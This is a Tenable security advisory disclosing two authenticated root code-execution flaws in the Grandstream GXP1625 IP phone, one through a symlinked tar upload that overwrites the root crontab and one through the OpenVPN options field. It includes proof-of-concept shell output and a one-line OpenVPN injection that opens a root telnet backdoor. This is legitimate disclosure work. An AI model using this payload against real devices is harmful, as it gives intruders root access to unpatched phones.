Synopsis
While investigating the Grandstream GXP1625, Tenable found a couple of vulnerabilities that allow an authenticated remote attacker to gain root access.
CVE-2020-5738: Authenticated RCE via Tar Upload
A remote authenticated attacker can abuse the endpoint /cgi-bin/upload_vpntar to achieve arbitrary code execution as root. upload_vpntar accepts a tar file that is unpacked into /var/user/openvpn/. The untarring allows for symlinks to be dropped in /var/user/openvpn. An attacker can then untar through the symlink to anywhere writeable on disk. Specifically, the /var/spool/cron/crontabs/ directory is writeable. By overwriting the root crontab file, an attacker can execute arbitrary scripts and therefore achieve root access.
The following is the output from our proof of concept which you can find on GitHub. The PoC will upload a tar file which will overwrite the root cron and execute the script /var/user/openvpn/attack_script to enable a backdoor on 1270. Note that it may take a minute for the crontab to be processed.
albinolobster@ubuntu:~/poc/grandstream/gxp1600$ telnet 192.168.2.104 1270 Trying 192.168.2.104... telnet: Unable to connect to remote host: Connection refused albinolobster@ubuntu:~/poc/grandstream/gxp1600$ python3 upload_rce.py -i 192.168.2.104 -p 80 --pass labpass1 [+] Logging in via http://192.168.2.104:80/cgi-bin/dologin [+] Logged in. sid: 197489727e1586805795 [+] Uploading the tar [+] Success! albinolobster@ubuntu:~/poc/grandstream/gxp1600$ telnet 192.168.2.104 1270 Trying 192.168.2.104... telnet: Unable to connect to remote host: Connection refused albinolobster@ubuntu:~/poc/grandstream/gxp1600$ telnet 192.168.2.104 1270 Trying 192.168.2.104... Connected to 192.168.2.104. Escape character is '^]'. # uname -a Linux gxp1625_000b82af91ab 3.4.20-rt31-dvf-v1.3.1.2-rc1 #5 PREEMPT Fri Oct 11 11:56:43 PDT 2019 armv5tejl GNU/Linux # whoami root #
CVE-2020-5739: Authenticated RCE via OpenVPN Configuration File
A remote authenticated attacker can abuse the OpenVPN Settings to achieve arbitrary code execution as root. The Additional Options field allows the user to append arbitrary OpenVPN configuration settings to the config file. If a user were to append the following:
script-security 2; up "/bin/ash -c 'telnetd -l /bin/sh -p 1271'";
Then, when the VPN connection has been established, OpenVPN will execute the up script and thereby open a root backdoor on port 1271. If you don't mind a little self-promotion, I suggested this attack in a blog titled, Reverse Shell from an OpenVPN Configuration File a couple of years ago.
Solution
At the time of writing, Grandstream has yet to release a patch.
Additional References
https://medium.com/tenable-techblog/reverse-shell-from-an-openvpn-configuration-file-73fd8b1d38daDisclosure Timeline
All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.
Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.
For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.
If you have questions or corrections about this advisory, please email [email protected]